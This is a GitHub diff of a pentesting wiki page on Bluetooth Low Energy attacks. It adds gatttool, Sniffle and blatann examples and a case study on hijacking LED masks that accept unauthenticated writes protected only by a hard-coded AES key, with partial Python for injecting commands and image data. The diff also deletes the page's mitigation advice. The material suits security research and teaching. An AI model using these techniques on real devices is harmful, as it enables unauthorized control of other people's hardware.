You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md
+82-2Lines changed: 82 additions & 2 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -35,6 +35,9 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
35
35
**GATTool** allows to **establish** a **connection** with another device, listing that device’s **characteristics**, and reading and writing its attributes.\
36
36
GATTTool can launch an interactive shell with the `-I` option:
37
37
38
+
<details>
39
+
<summary>GATTTool interactive usage and examples</summary>
40
+
38
41
```bash
39
42
gatttool -i hci0 -I
40
43
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
57
60
```
58
61
62
+
</details>
63
+
59
64
### Bettercap
60
65
61
66
```bash
@@ -80,6 +85,9 @@ Hardware: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NC
80
85
81
86
Install Sniffle and its Wireshark extcap on Linux:
82
87
88
+
<details>
89
+
<summary>Install Sniffle extcap (Linux)</summary>
90
+
83
91
```bash
84
92
if [ !-d /opt/sniffle/Sniffle-1.10.0/python_cli ];then
85
93
echo"[+] - Sniffle not installed! Installing at 1.10.0..."
@@ -99,6 +107,8 @@ else
99
107
fi
100
108
```
101
109
110
+
</details>
111
+
102
112
Flash Sonoff with Sniffle firmware (ensure your serial device matches, e.g. /dev/ttyUSB0):
103
113
104
114
```bash
@@ -145,6 +155,9 @@ Once you’ve identified a writable characteristic handle and value from the sni
145
155
146
156
- Automate on Windows with a Nordic dongle using Python + blatann:
147
157
158
+
<details>
159
+
<summary>Python blatann write example (Windows + Nordic dongle)</summary>
160
+
148
161
```python
149
162
import time
150
163
import blatann
@@ -185,11 +198,74 @@ peer.wait_for_disconnect()
185
198
ble_device.close()
186
199
```
187
200
188
-
### Operational notes and mitigations
201
+
</details>
202
+
203
+
### Case study: hijacking BLE LED masks (Shining Mask family)
204
+
205
+
Cheap, white‑labeled BLE LED masks controlled by the “Shining Mask” app accept write control from any nearby central with no pairing/bonding. The app talks GATT to a command characteristic and a data characteristic; commands are AES‑ECB encrypted with a static key hard‑coded in the app, while bulk image data is unencrypted.
write_cmd_char(start) # expect DATSOK on notify char
250
+
251
+
# Stream raw chunks (unencrypted) to ...960a: [len][seq][payload]
252
+
seq =0
253
+
CHUNK=98# data bytes per packet (≈100 total incl. len+seq)
254
+
for off inrange(0, len(img_bytes), CHUNK):
255
+
chunk = img_bytes[off:off+CHUNK]
256
+
pkt =bytes([len(chunk)+1, seq &0xff]) + chunk
257
+
write_data_char(pkt)
258
+
seq +=1
259
+
260
+
# Optionally signal completion if firmware expects it (e.g., DATCP)
261
+
```
262
+
263
+
</details>
264
+
265
+
## Operational notes
189
266
190
267
- Prefer Sonoff+Sniffle on Linux for robust channel hopping and connection following. Keep a spare Nordic sniffer as a backup.
191
268
- Without pairing/bonding, any nearby attacker can observe writes and replay/craft their own to unauthenticated writable characteristics.
192
-
- Mitigations: require pairing/bonding and enforce encryption; set characteristic permissions to require authenticated writes; minimize unauthenticated writable characteristics; validate GATT ACLs with Sniffle/nRF Connect.
193
269
194
270
## References
195
271
@@ -200,5 +276,9 @@ ble_device.close()
200
276
-[Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
201
277
-[nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
202
278
-[blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
279
+
-[Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
280
+
-[Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
281
+
-[Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
0 commit comments